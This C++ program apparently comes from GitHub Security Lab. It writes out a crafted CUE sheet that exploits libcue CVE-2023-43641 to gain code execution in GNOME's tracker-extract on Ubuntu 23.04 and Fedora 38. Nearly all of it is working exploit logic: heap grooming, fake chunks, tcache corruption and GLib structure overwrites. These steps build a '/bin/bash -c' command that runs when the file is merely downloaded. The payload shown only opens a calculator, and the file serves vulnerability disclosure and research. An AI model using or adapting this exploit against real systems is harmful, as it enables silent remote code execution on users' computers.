#include "utils.h"
#include <assert.h>
#include <cstdint>
#include <limits>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct Track {
  const char *title_;
  const char *composer_;
  const char *arranger_;
  const char *performer_;
  const char *songwriter_;
  const char *genre_;
  const char *message_;
};

const Track track_fengshui1 = {
    "Heap Feng Shui: empty the tcache",
    "Allocate a chunk from tcache index 2    ",
    "Allocate a chunk from tcache index 4                                    ",
    "Allocate a chunk from tcache index 6                                      "
    "      \n                       ",
    "Allocate a chunk from tcache index 7                                      "
    "      \n                                       ",
    "Allocate a chunk from tcache index 11                                     "
    "      \n                                                                  "
    "              \n                      ",
    "The goal here is to ensure that all subsequent allocations come\nfrom a "
    "large contiguous block of memory. This string allocates a chunk "
    "from\ntcache index 13. Doing this 14 times guarantees that the tcache is "
    "empty.   ",
};

const Track track_fengshui2 = {
    "Repeat Heap Feng Shui   ",
    "                                        ",
    "                                                                        ",
    "                                                                          "
    "      \n                       ",
    "                                                                          "
    "      \n                                       ",
    "                                                                          "
    "      \n                                                                  "
    "              \n                      ",
    "                                                               \n         "
    "                                                                  \n      "
    "                                                                      ",
};

const Track track_rickroll = {
    "Never Gonna Give You Up ",
    "Rick Astley                             ",
    "                                                                        ",
    "\nWe're no strangers to love\nYou know the rules and so do I\n            "
    "                                 ",
    "\nA full commitment's what I'm thinking of\nYou wouldn't get this from "
    "any other guy\n                                     ",
    "\nI just want to tell you how I'm feeling\nGotta make you understand\n    "
    "                                                         \n               "
    "                                        ",
    "\nNever gonna give you up, never gonna let you down\nNever gonna run "
    "around and desert you\nNever gonna make you cry, never gonna say "
    "goodbye\nNever gonna tell a lie and hurt you\n                            "
    "             "};

// Calculate the tcache index that will be used for `malloc(size)`.
size_t calc_tcache_index(size_t size) {
  if (size < 0x9) {
    return 0;
  }
  return (size - 0x9) / 0x10;
}

static void write_cdtext(WriteBuf &buf, const size_t tidx, const char *item,
                         const char *str) {
  // Confirm that the string is the correct length for the intended tcache
  // index.
  const size_t len = strlen(str);
  const size_t idx = calc_tcache_index(len + 1);
  if (idx != tidx) {
    const char *problem = idx < tidx ? "short" : "long";
    fprintf(stderr,
            "String is too %s for target tcache index %ld. Actual index: "
            "%ld.\nString:\n%s\n",
            problem, tidx, idx, str);
    exit(EXIT_FAILURE);
  }

  buf.write_string(item);
  buf.write_string(" \"");
  buf.write_string(str);
  buf.write_string("\"\n");
}

static void set_index(WriteBuf &buf, int32_t i, uint32_t x) {
  char str[256];
  snprintf(str, sizeof(str), "INDEX %u %u\n", (uint32_t)i, x);
  buf.write_string(str);
}

// Overwrite cd->ntrack, with the goal of writing a pointer
// to a track at the target address the next time that a new
// track is allocated.
static void set_cd_ntrack(WriteBuf &buf, size_t cd_ntrack_offset,
                          size_t track_offset, size_t target_offset) {
  ptrdiff_t i = ((ptrdiff_t)(cd_ntrack_offset - track_offset) - 0x88) / 8;
  ptrdiff_t x = ((ptrdiff_t)(target_offset - cd_ntrack_offset) - 0x8) / 8;
  if (99 <= x) {
    // To compensate for the adjustment that's made in cd_add_track.
    x++;
  }
  set_index(buf, i, x);
}

static void new_track(WriteBuf &buf, size_t &tracknum) {
  char str[256];
  snprintf(str, sizeof(str), "TRACK %.3lu AUDIO\n", tracknum);
  tracknum++;
  buf.write_string(str);
}

static void write_complete_track(WriteBuf &buf, size_t &tracknum,
                                 const Track &track) {
  new_track(buf, tracknum);
  write_cdtext(buf, 1, "TITLE", track.title_);
  write_cdtext(buf, 2, "COMPOSER", track.composer_);
  write_cdtext(buf, 4, "ARRANGER", track.arranger_);
  write_cdtext(buf, 6, "PERFORMER", track.performer_);
  write_cdtext(buf, 7, "SONGWRITER", track.songwriter_);
  write_cdtext(buf, 11, "GENRE", track.genre_);
  write_cdtext(buf, 13, "MESSAGE", track.message_);
}

static bool is_valid_string_byte(uint8_t x) { return x != 0 && x != '"'; }

static void create_fake_chunk(WriteBuf &buf, size_t track_offset,
                              uint16_t offset, uint16_t chunksize) {
  char str[256];
  const uint8_t lowbyte = offset & 0xff;
  const uint8_t highbyte = offset >> 8;
  assert(is_valid_string_byte(lowbyte));
  assert(is_valid_string_byte(highbyte));
  snprintf(str, sizeof(str),
           "long string to overwrite low bytes of address                      "
           "                                                     %c%c",
           lowbyte, highbyte);
  write_cdtext(buf, 7, "TITLE", str);
  set_index(buf, -(track_offset + 0x90 - offset) / 8,
            chunksize); // overwrite size of string chunk
  buf.write_string("FILE pwned.mp3 MP3\n");
}

enum Target { Ubuntu23_04, Fedora38, NumTargets };

static void write_ghsecuritylab_track(WriteBuf &buf, size_t &tracknum,
                                      Target target) {
  Track track = {
      "Copyright (c) 2023 GitHub, Inc.",
      "[GitHub Security Lab](https://securitylab.github.com/)",
      0,
      "[Kevin Backhouse](https://github.com/kevinbackhouse)                  "
      "\n                                 ",
      "                                                                      "
      "\n                                                 ",
      "[The Malloc "
      "Maleficarum](https://seclists.org/bugtraq/2005/Oct/118).\nSee also: "
      "[how2heap](https://github.com/shellphish/how2heap).\n                   "
      "                                  ",
      "Proof-of-concept exploit for libcue CVE-2023-43641 (GHSL-2023-197): out "
      "of bounds\narray access in track_set_index. The vulnerability is used "
      "to get code execution in GNOME's\ntracker-extract. Download this file "
      "to pop a calc.",
  };

  char arranger[80];
  const char *targetnames[NumTargets] = {"Ubuntu 23.04 (Lunar Lobster)",
                                         "Fedora 38"};
  snprintf(arranger, sizeof(arranger),
           "\nThis version of the poc is tuned for %s                          "
           "      ",
           targetnames[target]);
  arranger[71] = '\n';
  arranger[72] = '\0';

  track.arranger_ = arranger;
  write_complete_track(buf, tracknum, track);
}

Target select_target(const char *target) {
  if (strcmp(target, "Ubuntu23_04") == 0) {
    return Ubuntu23_04;
  }
  if (strcmp(target, "Fedora38") == 0) {
    return Fedora38;
  }
  fprintf(stderr, "Target not recognized: %s\n", target);
  exit(EXIT_FAILURE);
}

int main(int argc, char *argv[]) {
  const uint16_t chunksize_track = 0x3b5;
  const size_t rawbuf_len = 0x10000 - 0x20;
  uint8_t *rawbuf = (uint8_t *)malloc(rawbuf_len);
  size_t tracknum = 0;
  size_t track_offset = 0;

  if (argc != 2) {
    fprintf(stderr, "usage: \nmkcue Ubuntu23_04\nmkcue Fedora38\n");
    return EXIT_FAILURE;
  }

  const Target target = select_target(argv[1]);

  const size_t cd_ntracks_offsets[NumTargets] = {0x12608, 0x12868};
  const size_t cd_ntrack_offset = cd_ntracks_offsets[target];

  WriteBuf buf(rawbuf, rawbuf_len);

  buf.write_string("PERFORMER Kev\n");
  write_cdtext(buf, 0, "TITLE", "Kev'z Warez");
  buf.write_string("FILE pwned.mp3 MP3\n");

  buf.write_string("\n");
  new_track(buf, tracknum);
  write_cdtext(buf, 15, "MESSAGE",
               "First some [heap feng "
               "shui](https://en.wikipedia.org/wiki/Heap_feng_shui):\nallocate "
               "memory so that all subsequent allocations come from a "
               "continguous block of\nmemory. For example, this string is 251 "
               "characters long to use a chunk from tcache\nindex 15.");

  // Use more memory.
  new_track(buf, tracknum);
  write_cdtext(buf, 5, "TITLE",
               "A Track is 0x3a8 bytes, so creating many new tracks is a quick "
               "way to use lots of memory.");

  for (size_t i = 0; i < 31; i++) {
    new_track(buf, tracknum);
    write_cdtext(buf, 5, "TITLE",
                 "Again                                                        "
                 "                            ");
  }

  buf.write_string("\n");
  write_complete_track(buf, tracknum, track_fengshui1);
  buf.write_string("\n");
  write_ghsecuritylab_track(buf, tracknum, target);
  buf.write_string("\n");
  write_complete_track(buf, tracknum, track_rickroll);
  for (size_t i = 0; i < 11; i++) {
    write_complete_track(buf, tracknum, track_fengshui2);
  }

  new_track(buf, tracknum);
  const size_t offsets1[NumTargets] = {0x17f00, 0x18200};
  track_offset = offsets1[target];
  write_cdtext(buf, 1, "TITLE", "for freeing to tcache index 1");
  write_cdtext(buf, 0, "TITLE", "free previous title");

  // Overwrite cd->ntrack so that the next track pointer will be
  // written to offset 0xd50.
  set_cd_ntrack(buf, cd_ntrack_offset, track_offset, 0xd50);

  new_track(buf, tracknum);
  const size_t offsets2[NumTargets] = {0x184b0, 0x187b0};
  track_offset = offsets2[target];
  write_cdtext(buf, 1, "TITLE", "Allocate previously freed string");
  set_index(buf, -0x1c, 0x95); // overwrite size of string chunk

  // This overwrites cd->ntrack. Every time a new track is allocated,
  // its address is written to cd->track[cd->ntrack - 1]. The value
  // of cd->ntrack is also incremented each time. I want to use this
  // on the 5th new_track after this point, to overwrite offset
  // 0xdd0 because that's going to be the location of my g_class struct
  // and I need to set its g_type field.
  set_cd_ntrack(buf, cd_ntrack_offset, track_offset, 0xdb0);

  // Use a fake chunk to overwrite the low bytes of info->file
  // so that it points to offset 0xd50, which is where I'll create
  // the fake file struct.
  create_fake_chunk(buf, track_offset, 0xcf0, 0x45);
  write_cdtext(buf, 2, "GENRE",
               "set low bytes of info->file             \x50\x0d");

  // Use a fake chunk to overwrite the low bytes of info->file->g_class
  // so that it points to offset 0xdd0, which is where I'll create
  // the fake g_class
  create_fake_chunk(buf, track_offset, 0xd30, 0x35);
  write_cdtext(buf, 1, "PERFORMER", "set low bytes of file->g_class  \xd0\x0d");

  set_index(buf, -(track_offset + 0x88 - 0xd10) / 8, 0); // info->resource = 0

  // Fake chunk for overwriting the lower bytes of info->file->g_class (later).
  create_fake_chunk(buf, track_offset, 0xf10, 0x55);

  // Fake chunk for overwriting the tcache (immediately below).
  create_fake_chunk(buf, track_offset, 0x9b0, 0x45);

  // Create a fake chunk at offset 0xe20, then overwrite its lower bytes in
  // the tcache to change it to 0xe60. The chunk size (0x115) is chosen so
  // it is stored in tcache->entries[15] (offset 0x9d8), which means that I
  // can overwrite its lower bytes by writing a string to the fake chunk at
  // offset 0x9b0.
  const uint16_t chunksize_e60 = 0x115;
  create_fake_chunk(buf, track_offset, 0xe20, chunksize_e60);

  write_cdtext(buf, 2, "MESSAGE",
               "set low bytes of tcache->entries[15]    \x60\x0e");
  write_cdtext(buf, 0, "MESSAGE", "kevwozere");

  // Create a fake chunk at offset 0xdd0.
  create_fake_chunk(buf, track_offset, 0xdd0, 0x55);

  // track->file.start is at offset 0x30 in track
  // track->file.length is at offset 0x38 in track
  // track->index[0] is at offset 0x88 in track
  // track->zero_pre.length is at offset 0x18 in track
  //
  // Series of calculations:
  //
  // prev_track->file.length = X - prev_track->file.start
  // track->zero_pre.length = Y - track->index[0]
  //
  // So I want to prev_track->file.length and track->index[0] to be
  // at the same address. Which means:
  //
  // prev_track + 0x38 == track + 0x88
  //
  // In other words: track == prev_track - 0x50

  // Create a fake track-sized chunk at offset 0xde0.
  create_fake_chunk(buf, track_offset, 0xde0, chunksize_track);

  // Create a fake track-sized chunk at offset 0xe30.
  create_fake_chunk(buf, track_offset, 0xe30, chunksize_track);

  write_cdtext(buf, 15, "TITLE",
               "long title to allocate 0x110-sized chunk.                      "
               "                                                               "
               "                                                               "
               "                                                           ");
  new_track(buf, tracknum); // Allocate a track at offset 0xe30
  set_index(buf, -0x35, 0); // info->resource = 0
  set_index(buf, -0x31, 1); // info->ref_count = 1
  set_index(buf, -0x2a, 0); // self->launcher = 0
  set_index(buf, -0x29, 0); // self->flags = 0

  new_track(buf, tracknum); // Allocate a track at offset 0xde0
  track_offset = 0xde0;

  write_cdtext(
      buf, 3, "TITLE",
      "Overwrite low bytes of track->file.name                 \x60\x0e");
  set_index(buf, -2, chunksize_e60);
  buf.write_string("FILE \"wen poc?\" MP3\n");

  // Create a fake track-sized chunk at offset 0xee0
  write_cdtext(
      buf, 3, "TITLE",
      "Overwrite low bytes of track->file.name                 \xe0\x0e");
  set_index(buf, 0xe, chunksize_track);
  buf.write_string("FILE pwned.mp3 MP3\n");

  // Create a fake track-sized chunk at offset 0xf30
  write_cdtext(
      buf, 3, "TITLE",
      "Overwrite low bytes of track->file.name                 \x30\x0f");
  set_index(buf, 0x18, chunksize_track);
  buf.write_string("FILE pwned.mp3 MP3\n");

  // Create a fake 0x30-sized chunk at offset 0xdb0. It will be used later to
  // overwrite the pointer to the g_type stored at offset 0xdd0 (element 0 of
  // the g_class).
  write_cdtext(
      buf, 3, "TITLE",
      "Overwrite low bytes of track->file.name                 \xb0\x0d");
  set_index(buf, -0x18, 0x35);
  buf.write_string("FILE pwned.mp3 MP3\n");

  // Use the two overlapping tracks to apply arithmetic
  set_index(buf, 0, -1); // reset prev_track->file.length
  set_index(buf, 1, 0);
  const size_t codeoffsets1[NumTargets] = {0x1cdff0, 0x1cae20};
  set_index(buf, 1, codeoffsets1[target]); // Offset from
                                           // g_file_input_stream_real_query_info_finish
                                           // to g_option_context_parse

  set_index(buf, 0xe, 0); // Zero a field that causes a crash in gatomicarray.c

  new_track(buf, tracknum);    // Allocate a track at offset 0xf30
  buf.write_string("FLAGS\n"); // The grammar requires at least one track
                               // statement between tracks
  new_track(buf, tracknum);    // Allocate a track at offset 0xee0
  track_offset = 0xee0;

  buf.write_string(
      "ISRC "
      "looooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo"
      "oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo"
      "oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooog-"
      "string-to-allocate-0x110-sized-chunk\n");
  // Allocate 0x50-sized chunk at offset 0xf10.
  write_cdtext(buf, 3, "TITLE",
               "long title to overwrite low bytes of track->isrc               "
               " \x60\x0f");
  set_index(buf, -2, 0x115);
  buf.write_string("ISRC short-string\n");

  set_index(buf, 0, -1); // reset prev_track->file.length
  set_index(buf, 1, 0);
  const size_t codeoffsets2[NumTargets] = {0x3b290, 0x3d290};
  set_index(buf, 1, codeoffsets2[target]); // Offset from
                                           // g_file_input_stream_real_query_info_finish
                                           // to initable_init

  // Zero the tcache
  set_index(buf, -0xd0, 0);
  set_index(buf, -0xce, 0);

  set_index(buf, -0x19, 100);  // info->file->g_class->g_type->ref_count = 100
  set_index(buf, -0x17, 0);    // info->file->g_class->g_type->nsupers = 0
  set_index(buf, -0x10, 0x50); // info->file->g_class->g_type->supers[0] = 0x50

  new_track(buf, tracknum); // write a pointer to 0xdd0
  const size_t offsets3[NumTargets] = {0x19290, 0x19590};
  track_offset = offsets3[target];

  // Overwrite cd->ntrack so that the next track pointer will get written
  // to offset 0xeb8 (the location of cancellable->priv)
  set_cd_ntrack(buf, cd_ntrack_offset, track_offset, 0xeb8);
  new_track(buf, tracknum); // This track is cancellable->priv.
  const size_t offsets4[NumTargets] = {0x197f0, 0x19af0};
  track_offset = offsets4[target];
  set_index(buf, -0x11, 0); // cancellable->priv->cancelled = 0

  // Overwrite cd->ntrack so that the next track pointer will get written
  // to offset 0xd78 (the location of self->argv)
  set_cd_ntrack(buf, cd_ntrack_offset, track_offset, 0xd78);
  new_track(buf, tracknum); // This track is the argv array. (offset 0x19d50)
  const size_t offsets5[NumTargets] = {0x19d50, 0x1a050};
  track_offset = offsets5[target];
  const size_t argv_offset = track_offset;
  set_index(buf, -0xe, 0); // argv[3] = 0

  // Overwrite cd->ntrack so that the next track pointer will get written
  // to offset 0x19d50 (the location of self->argv[0])
  set_cd_ntrack(buf, cd_ntrack_offset, argv_offset, argv_offset);
  write_cdtext(buf, 6, "TITLE",
               "Temporary long title for tcache index 6                        "
               "                                         ");
  write_cdtext(buf, 0, "TITLE", "short title");
  new_track(buf, tracknum); // this will be argv[0]  (offset 0x1a350)
  const size_t offsets6[NumTargets] = {0x1a350, 0x1a650};
  track_offset = offsets6[target];
  write_cdtext(buf, 6, "TITLE",
               "Use long title from tcache index 6                             "
               "                                         ");
  set_index(buf, -0x26, 0xc5); // overwrite size of string chunk
  write_cdtext(buf, 10, "TITLE",
               "                                                               "
               "                                                               "
               "                                  /bin/bash");

  // Overwrite cd->ntrack so that the next track pointer will get written
  // to offset 0x19d58 (the location of self->argv[1])
  set_cd_ntrack(buf, cd_ntrack_offset, track_offset, argv_offset + 0x8);

  new_track(buf, tracknum); // This track is argv[1]. (offset 0x1a8b0)
  const size_t offsets7[NumTargets] = {0x1a8b0, 0x1abb0};
  track_offset = offsets7[target];
  uint32_t x = 0;
  strcpy((char *)&x, "-c");
  set_index(buf, -0x11, x);

  // Overwrite cd->ntrack so that the next track pointer will get written
  // to offset 0x19d60 (the location of self->argv[2]).
  set_cd_ntrack(buf, cd_ntrack_offset, track_offset, argv_offset + 0x10);

  write_cdtext(buf, 6, "TITLE",
               "Temporary long title for tcache index 6                        "
               "                                         ");
  write_cdtext(buf, 0, "TITLE", "eta son");
  new_track(buf, tracknum); // this will be argv[2]
  write_cdtext(buf, 6, "TITLE",
               "Use long title from tcache index 6                             "
               "                                         ");
  set_index(buf, -0x26, 0x165); // overwrite size of string chunk
  write_cdtext(
      buf, 20, "TITLE",
      "This command is going to get called repeatedly in an infinite loop, so "
      "send SIGSTOP to avoid a fork-bomb and use flock so only one calculator "
      "starts.           killall -SIGSTOP tracker-extract-3; flock -w 3 "
      "~/Downloads/pwned.lock -c 'gnome-calculator -e 1337' && (sleep 10; rm "
      "~/Downloads/pwned.lock; killall -SIGKILL tracker-extract-3)");

  // To stop tracker-extract from crashing in g_option_context_parse
  // immediately after it is has called initable_init, overwrite the
  // next pointer of context->groups to add another link to the linked
  // list, and point the next pointer back to offset 0xdd0 to create
  // an infinite list. The loop will keep spinning until we have
  // a chance to kill tracker-extract cleanly.
  const size_t offsets8[NumTargets] = {0x1aeb0, 0x1b1b0};
  track_offset = offsets8[target];

  // Overwrite cd->ntrack so that the next track pointer will be
  // written to offset 0xdd8.
  set_cd_ntrack(buf, cd_ntrack_offset, track_offset, 0xdd8);

  write_cdtext(buf, 6, "PERFORMER",
               "Temporary long name for tcache index 6                         "
               "                                         ");
  write_cdtext(buf, 0, "PERFORMER", "short name");

  new_track(buf, tracknum); // This will be another link in context->groups
  const size_t offsets9[NumTargets] = {0x1b4b0, 0x1b7b0};
  track_offset = offsets9[target];
  const size_t link_offset = track_offset;

  // Overwrite cd->ntrack so that the next track pointer will be
  // written to offset 0x8 within the current track.
  set_cd_ntrack(buf, cd_ntrack_offset, track_offset, link_offset + 8);

  write_cdtext(buf, 6, "TITLE",
               "Use chunk from tcache index 6                                  "
               "                                         ");
  set_index(buf, -0x26, 0xc5); // overwrite size of string chunk
  write_cdtext(buf, 0, "TITLE", "short title");

  // The only purpose of this track is to write a pointer at offset 0x8 in
  // the previous track. I'll overwrite the bottom bytes of that pointer so
  // that it points to offset 0xdd0.
  new_track(buf, tracknum);
  const size_t offsets10[NumTargets] = {0x1ba30, 0x1bd30};
  track_offset = offsets10[target];

  // Overwrite cd->ntrack so that the next track pointer will be
  // written to offset 0x0 within the previous track.
  set_cd_ntrack(buf, cd_ntrack_offset, track_offset, link_offset);
  write_cdtext(buf, 10, "TITLE",
               "                                                               "
               "                                                               "
               "                                          \xd0\x0d");

  tracknum = 1337;
  new_track(buf, tracknum); // fake GOptionGroup
  set_index(buf, -0x6, 0);  // zero the pre_parse_func field

  write_cdtext(buf, 2, "TITLE",
               "Use the chunk that is still in tcache index 2");
  write_cdtext(buf, 1, "MESSAGE", "pop that calc                   \xa0\x0e");
  buf.write_string("REM DATE \"1992 AD\"\n");

  // Pad the file with newline characters.
  buf.write_many('\n', rawbuf_len - buf.offset());

  buf.write_to_fd(STDOUT_FILENO);
  free(rawbuf);

  return 0;
}
